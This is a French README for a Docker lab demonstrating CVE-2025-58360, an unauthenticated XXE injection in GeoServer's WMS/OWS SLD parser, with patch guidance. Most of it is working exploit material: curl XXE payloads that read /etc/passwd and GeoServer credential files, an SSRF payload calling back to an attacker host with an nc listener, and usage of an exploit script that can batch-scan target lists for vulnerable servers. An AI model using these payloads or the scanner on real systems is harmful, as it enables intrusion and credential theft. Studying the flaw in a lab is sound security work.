
Laboratoire basé sur Docker démontrant CVE-2025-58360, une injection XXE non authentifiée critique dans les services WMS/OWS de GeoServer. Comprend un script d'exploitation pour la lecture de fichiers, le SSRF et l'énumération de répertoires.
Injection d’entité externe XML (XXE) non authentifiée dans les services OWS/WMS de GeoServer
CVSS : 9,8 CRITIQUE
Version affectée : <= 2.25.5, 2.26.0-2.26.1
Corrigée dans : 2.25.6+, 2.26.2+, 2.27.0+
Ce laboratoire illustre CVE-2025-58360, une vulnérabilité XXE critique dans le traitement des requêtes XML WMS/OWS de GeoServer. Elle permet à un attaquant non authentifié de :
file:// de JavaLa méthode SLDParser.parseSLD() de GeoServer traite les documents XML de style sans imposer de restrictions de résolution d’entités. Bien que le répartiteur OWS utilise AllowListEntityResolver pour bloquer les XXE, le chemin de code du parsing SLD contourne cette protection :
POST /geoserver/ows?service=WMS&request=GetMap
|
v
+-----------------------------+
| Répartiteur OWS | <-- EntityResolver configuré
| (détecte SLD dans le corps) |
+-----------------------------+
|
v
+-----------------------------+
| SLDXmlRequestReader |
| -> SLDHandler.parse() |
| -> SLDParser.parseSLD() | <-- AUCUN EntityResolver !
+-----------------------------+
|
v
XXE RÉSOLUE -> Fichier/SSRF
# Lancer les instances vulnérable et corrigée
docker-compose up -d
# Vulnérable : http://localhost:8080/geoserver
# Corrigée : http://localhost:8081/geoserver
# Attendre environ 60 secondes le démarrage
Identifiants par défaut : admin / geoserver
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
Réponse vulnérable :
<ServiceException>
Unknown layer: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
</ServiceException>
Réponse corrigée :
<ServiceException>
Entity resolution disallowed for file:///etc/passwd
</ServiceException>
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml
Le gestionnaire file:// de Java lit les répertoires sous forme de listes de fichiers séparés par des sauts de ligne :
# Lister le répertoire racine
python3 exploit.py -u http://localhost:8080 --file /
# Énumérer les données de GeoServer
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/
Sortie :
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...
Cela permet une énumération complète du système de fichiers avant de cibler des fichiers spécifiques.
# Démarrer l’écouteur
nc -lvnp 9999
# Envoyer la charge utile
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "http://VOTRE_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
# Vérification de version
python3 exploit.py -u http://localhost:8080
# Sondage sécurisé (sans exfiltration de données)
python3 exploit.py -u http://localhost:8080 --probe
# Lecture de fichier
python3 exploit.py -u http://localhost:8080 --file /etc/passwd
# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attaquant:9999/callback
# Mode verbeux
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v
# Scan par lot
python3 exploit.py --list cibles.txt --output vulnerables.txt
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py
Mettez à jour GeoServer vers la version 2.25.6+, 2.26.2+ ou 2.27.0+
À des fins de tests de sécurité autorisés et d’apprentissage uniquement.
El Perro Joke